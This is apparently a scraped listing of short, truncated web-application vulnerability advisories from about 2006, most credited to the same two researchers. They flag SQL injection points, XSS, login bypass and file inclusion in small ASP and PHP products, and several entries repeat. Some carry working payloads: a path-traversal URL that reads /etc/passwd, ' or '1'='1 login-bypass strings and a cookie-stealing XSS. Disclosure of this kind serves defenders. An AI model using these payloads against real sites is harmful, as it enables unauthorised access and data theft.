eClassifieds.txt

vendor site: http://enthrallweb.com/ product : eClassifieds bug:injection sql risk : medium injection sql : /ad.asp?ADID='sql /ad.asp?catid='sql /dircat.asp?cid='sql /dirSub.asp?sid='sql /ad.asp?catid=35&subid='sql /ad.asp?catid=35&subid=102&adid='sql laurent gaffié & benjamin mossé...

aBitWhizzy - abitwhizzy.php Information Disclosure

aBitWhizzy - abitwhizzy.php Information Disclosure aBitWhizzy local file include vendor site: http://www.unverse.net/abitwhizzy/ product : aBitWhizzy bug:local file include global risk : high http://site.com/abitwhizzy.php?f=../../../../../../../etc/passwd laurent gaffié & benjamin mossé...

aBitWhizzy - 'abitwhizzy.php' Information Disclosure

aBitWhizzy local file include vendor site: http://www.unverse.net/abitwhizzy/ product : aBitWhizzy bug:local file include global risk : high http://site.com/abitwhizzy.php?f=../../../../../../../etc/passwd laurent gaffié & benjamin mossé http://s-a-p.ca/ contact: [email protected] milw0rm.com...

infinsql.txt

product:Infinitytechs Restaurants CM bug:injection sql risk:medium injection sql: /rating.asp?id='sql /mealrest.asp?mealid='sql /resdetails.asp?resid='sql laurent gaffié & benjamin mossé http://s-a-p.ca/ contact: [email protected]...

vikiboard012.txt

vendor site:http://vikingboard.com/ product:Vikingboard 0.1.2 bug:local file include & multiples permanent xss risk:medium error sql : /members.php?s=-80 xss permanent : - in private message , an attacker can send a pm to an administrator with some javascript into the subject field an get his...

2020autogal.txt

vendor site:http://www.2020autogallery.com/ product:20/20 auto gallery bug:injection sql global risk:high injection sql get : http://site.com/vehiclelistings.asp?vehicleID='sql http://site.com/vehiclelistings.asp?categoryIDlist='sql http://site.com/vehiclelistings.asp?saletype='sql...

20/20 auto gallery [ multiples injection sql ]

vendor site:http://www.2020autogallery.com/ product:20/20 auto gallery bug:injection sql global risk:high injection sql get : http://site.com/vehiclelistings.asp?vehicleID='sql http://site.com/vehiclelistings.asp?categoryIDlist='sql http://site.com/vehiclelistings.asp?saletype='sql...

Dating Site [ login bypass & xss]

vendor site:http://www.hotwebapp.com/ product:Dating Site bug:injection sql & xss risk:high log in with : username = ' or '1' = '1 passwd = ' or '1' = '1 xss get : /loginform.asp?msg=xss here laurent gaffie & benjamin mosse http://s-a-p.ca/ contact: [email protected]...

MS Windows Wkssvc NetrJoinDomain2 Stack Overflow Exploit (MS06-070)

No description provided by source. / Microsoft Windows Wkssvc NetrJoinDomain2 Stack OverflowMS06-070 Exploit by cocoruderfrankruderathotmail.com,2006.11.15 page:http://ruder.cdut.net/default.asp Code fixed by S A Stevens - 17.11.2006 - changed shellcode, Changed code to correct jmp EBX address an...

Active News Manager [ injection sql (post&get)]

vendor site:http://www.dotnetindex.com/ product:Active News Manager bug:injection sql risk:medium injection sql get http://site.com/activenews/activeNewscategories.asp?catID='sql http://site.com/activeNewscomments.asp?articleID='sql injection sqlpost : in the search engine:...

phpmyadmin.txt

vendor site:http://phpmyadmin.net/ product:PhpMyAdmin all version bug: xss permanent & full path disclosure global risk:high xss post : 1 create a table , with whatever name , when it's done , go to "operation" /dboperations.php and add a comment on your table with: '"alertdocument.cookie the...

Infinitytechs Restaurants CM

product:Infinitytechs Restaurants CM bug:injection sql risk:medium injection sql: /rating.asp?id='sql /mealrest.asp?mealid='sql /resdetails.asp?resid='sql laurent gaffie & benjamin mosse http://s-a-p.ca/ contact: [email protected]...

20/20 datashed [ multiples injection sql ]

vendor site:http://www.2020applications.com/ product:20/20 datashed bug:injection sql risk:high injection sql get : /f-email.asp?strPeopleID=1&itemID='sql /listings.asp?peopleID='sql /listings.asp?sortorder='sql laurent gaffie & benjamin mosse http://s-a-p.ca/ contact: [email protected]...

Pilot Cart V.7.2 [ injection sql (post) ]

vendor site:http://www.pilotcart.com/ product:Pilot Cart V.7.2 bug:injection sql risk:high injection sqlpost : in the search engine: http://site.com/pilot.asp?pg=search&mode=results variables : srch='sql&searchBy=Products laurent gaffie & benjamin mosse http://s-a-p.ca/ contact: saps.audit@gmail....

ASP Cart [multiples injection sql (post & get)]

vendor site: http://www.aspcart.com product: ASP Cart bug: multiples injection sql post & get global risk: high ! injection get : http://site.com/prodetails.asp?prodid='sql injection post : 1http://site.com/display.asp Variables: /display.asp?page='sql 2http://site.com/addcart.asp Variables:...

PT-2006-6609 · Mginternet · Mginternet Car Site Manager

Name of the Vulnerable Software and Affected Versions: MGinternet Car Site Manager CSM affected versions not specified Description: A cross-site scripting XSS issue exists, allowing remote attackers to inject arbitrary web script or HTML via the s parameter in the /csm/asp/listings.asp API...

anm-sql.txt

vendor site:http://www.dotnetindex.com/ product:Active News Manager bug:injection sql risk:medium injection sql get http://site.com/activenews/activeNewscategories.asp?catID='sql http://site.com/activeNewscomments.asp?articleID='sql injection sqlpost : in the search engine:...

BaalAsp forum [login bypass ,injections sql(post), xss(post)]

vendor site:http://baalasp.com/ product:BaalAsp forum bug:login bypass, injection sql post, xss post risk:high authentification bypass : admin login bypass == /adminlogin.asp passwd: 'or''=' user login bypass == /userlogin.asp user: 'or''=' passwd: 'or''=' injection sql post == /search.asp...

Car Site Manager [injection sql & xss (get)]

Car Site Manager injection sql & xss get vendor site:http://www.mginternet.com/ product:Car Site Manager bug:injection sql risk:medium injection sql : http://site.com/csm/asp/detail.asp?l=&p='sql http://site.com/csm/asp/listings.asp?l='sql http://site.com/csm/asp/listings.asp?s=search&typ='sql...

evolveSQL.txt

vendor site:http://www.lynxinternet.com/ product:Evolve Merchant bug:injection sql risk:medium injection sql get : http://site.com/viewcart.asp?zoneid='sql laurent gaffié & benjamin mossé http://s-a-p.ca/ contact: [email protected]...